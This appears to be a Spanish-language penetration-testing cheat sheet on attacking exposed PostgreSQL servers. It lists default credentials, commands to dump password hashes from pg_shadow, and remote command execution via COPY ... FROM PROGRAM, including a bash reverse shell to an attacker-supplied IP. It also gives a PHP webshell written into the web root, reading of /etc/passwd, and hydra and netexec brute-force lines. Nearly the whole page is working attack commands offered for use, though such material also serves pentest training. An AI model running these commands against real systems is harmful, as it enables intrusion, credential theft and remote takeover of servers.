Saltar al contenido
Protocolos
Índice de contenidos

Base de Datos PostgreSQL

Puerto por defecto: 5432/TCP

PostgreSQL es una base de datos relacional muy extendida. Expuesta y con credenciales débiles (o por defecto), permite leer datos, leer/escribir archivos del sistema y, en versiones recientes, ejecución de comandos (RCE) mediante COPY ... PROGRAM.


Enumeración

nmap -p5432 -sCV <IP>

Conexión

psql -h <IP> -U postgres                 # pide contraseña
psql -h <IP> -U postgres -d <base>
PGPASSWORD='postgres' psql -h <IP> -U postgres

Credenciales por defecto habituales: postgres:postgres, postgres: (vacío), postgres:admin.

Consejo: el usuario postgres suele ser superusuario. Si entras con él, tienes vía directa a lectura de archivos y, muy probablemente, a RCE con COPY ... PROGRAM.


Enumeración dentro de psql

SELECT version();
\l                      -- listar bases de datos
\c <base>               -- conectarse a una base
\dt                     -- listar tablas
\du                     -- listar roles/usuarios
SELECT * FROM users;    -- buscar credenciales de la app
-- ¿soy superusuario?
SELECT current_setting('is_superuser');
SELECT rolname, rolsuper FROM pg_roles;

Volcar los hashes de los propios usuarios de PostgreSQL:

SELECT usename, passwd FROM pg_shadow;

RCE con COPY … PROGRAM (superusuario)

Si eres superusuario (PostgreSQL ≥ 9.3), ejecutas comandos del sistema directamente:

-- Ejecutar un comando y recoger su salida en una tabla
CREATE TABLE cmd_out(line text);
COPY cmd_out FROM PROGRAM 'id';
SELECT * FROM cmd_out;

Reverse shell:

COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<TU_IP>/443 0>&1"';

Nota: metasploit tiene exploit/multi/postgres/postgres_copy_from_program_cmd_exec que automatiza esto. Pero a mano es trivial y funciona casi siempre que seas superusuario.


Lectura y escritura de archivos

-- Leer un archivo del sistema
CREATE TABLE f(content text);
COPY f FROM '/etc/passwd';
SELECT * FROM f;

-- Escribir un archivo (p.ej. una webshell si conoces el webroot)
COPY (SELECT '<?php system($_GET[0]); ?>') TO '/var/www/html/sh.php';

Fuerza bruta

hydra -L usuarios.txt -P /usr/share/wordlists/rockyou.txt postgres://<IP>
netexec postgres <IP> -u postgres -p passwords.txt

Herramientas relacionadas

HerramientaDescripción
psqlCliente oficial de PostgreSQL.
netexec postgresEnumeración y validación de credenciales.
metasploit (postgres_*)Módulos de login, lectura de archivos y RCE.
hydraFuerza bruta.

Consejo: ante un PostgreSQL, prueba postgres con contraseñas triviales, comprueba si eres superusuario (is_superuser), y si lo eres, ve directo a COPY ... FROM PROGRAM para RCE. Si no, vuelca las tablas de la aplicación (sus hashes/credenciales se reutilizan en otros servicios).